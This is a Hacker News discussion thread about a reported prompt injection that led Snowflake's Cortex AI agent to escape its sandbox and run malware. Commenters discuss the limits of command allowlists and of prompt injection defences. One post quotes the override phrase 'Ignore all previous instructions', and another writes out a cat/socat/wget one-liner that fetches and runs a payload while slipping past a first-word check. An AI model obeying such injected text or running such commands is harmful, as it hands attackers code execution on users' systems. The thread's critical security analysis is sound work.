Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Snowflake AI Escapes Sandbox and Executes Malware

promptarmor.com

Post reply on HN
Print view View original

101–109 of 109 posts

Re: Snowflake AI Escapes Sandbox and Executes Malware

#101

Post by zombot »

jacquesm wrote: post #42
john_strinlai wrote: post #7

typically, my first move is to read the affected company's own announcement. but, for who knows what misinformed reason, the advisory written by snowflake requires an account to read. another prompt injection (shocked pikachu) anyways, from reading this, i feel like they (snowflake) are misusing the term "sandbox". "Cortex, by default, can set a flag to trigger unsandboxed command execution." if the thing that is san…

I don't think prompt injection is a solvable problem. It wasn't solved with SQL until we started using parametrized queries and this is free form language. You won't see 'Bobby Tables' but you will see 'Ignore all previous instructions and ... payload ...'. Putting the instructions in the same stream as the data always ends in exactly the same way. I've seen a couple of instances of such 'surprises' by now and I'm mo…

Well, the promise of AI is that every idiot can achieve things they couldn't before. Lo and behold, they do.

Re: Snowflake AI Escapes Sandbox and Executes Malware

#103

Post by riteshkew1001 »

simonw wrote: post #22

One key component of this attack is that Snowflake was allowing "cat" commands to run without human approval, but failing to spot patterns like this one: cat I didn't understand how this bit worked though: > Cortex, by default, can set a flag to trigger unsandboxed command execution. The prompt injection manipulates the model to set the flag, allowing the malicious command to execute unsandboxed. HOW did the prompt i…

[flagged]

Re: Snowflake AI Escapes Sandbox and Executes Malware

#105

Post by zbentley »

kevin_thibedeau wrote: post #64
jacquesm wrote: post #42

Earlier quoted context omitted.

I don't think prompt injection is a solvable problem. It wasn't solved with SQL until we started using parametrized queries and this is free form language. You won't see 'Bobby Tables' but you will see 'Ignore all previous instructions and ... payload ...'. Putting the instructions in the same stream as the data always ends in exactly the same way. I've seen a couple of instances of such 'surprises' by now and I'm mo…

We need something like Perl's tainted strings to hinder sandbox escapes.

Wouldn’t help. The problem isn’t unsafe interpolation, the problem is unsafe interpretation. Models make decisions based on strings; that’s what they’re for. Problem is, once external data is “appended to the string” (updates the context), the model makes decisions based on the whole composite string, and existentially has no way to delineate trusted from untrusted data.

Re: Snowflake AI Escapes Sandbox and Executes Malware

#106

Post by iamonthesnow »

Hi folks,

I am a Snowflake Employee and just wanted to share (as FYI) the timeline on discovery, validation, and the fix implemented/deployed by our security team.

For those interested, here's the link to the detailed article: https://community.snowflake.com/s/article/PromptArmor-Report...

Re: Snowflake AI Escapes Sandbox and Executes Malware

#107

Post by driftnode »

Everyone in this thread is dunking on Snowflake's sandbox design but the real issue is simpler. They parsed shell commands by looking at the first word. cat = safe. Socat < <(sh < <(wget malware)) = safe This is not an AI problem. This is a 1990s input validation problem wearing a 2026 hat lol

Re: Snowflake AI Escapes Sandbox and Executes Malware

#108

Post by DANmode »

wildzzz wrote: post #97
Wowfunhappy wrote: post #75

Earlier quoted context omitted.

The way to solve it is to make the AI “smart” enough to understand it’s being tricked, and refuse. Whether this is possible depends almost entirely on how much better we’re able to make these LLMs before (if) we hit a wall. Everyone has a different opinion on this and I absolutely don’t know the answer.

Despite my employer's best efforts to train everyone on cyber security basics, people still do dumb stuff and click on things they shouldn't. It's the reason why my laptop needs to run like 5 different security applications all handling different things. It should be assumed that if a person or agent is technically capable of doing something you've told them not to do, there exists a chance that they're going to do i…

> 5 different security applications all handling different things

Go on?

Re: Snowflake AI Escapes Sandbox and Executes Malware

#109

Post by saltcured »

bigstrat2003 wrote: post #52
saltcured wrote: post #31

Earlier quoted context omitted.

Isn't it more like "imaginary function"? People keep imagining that you can tell an agent to police itself.

Yep the whole thing is retarded. You cannot trust that a non-deterministic program (i.e. an LLM) will ever do what you actually tell it to do. Letting those things loose on the command line is incredibly stupid, but people out there don't care because they think "it's the future!".

I feel disappointed in myself for not going with "gain of fiction" in the original thread
Post reply on HN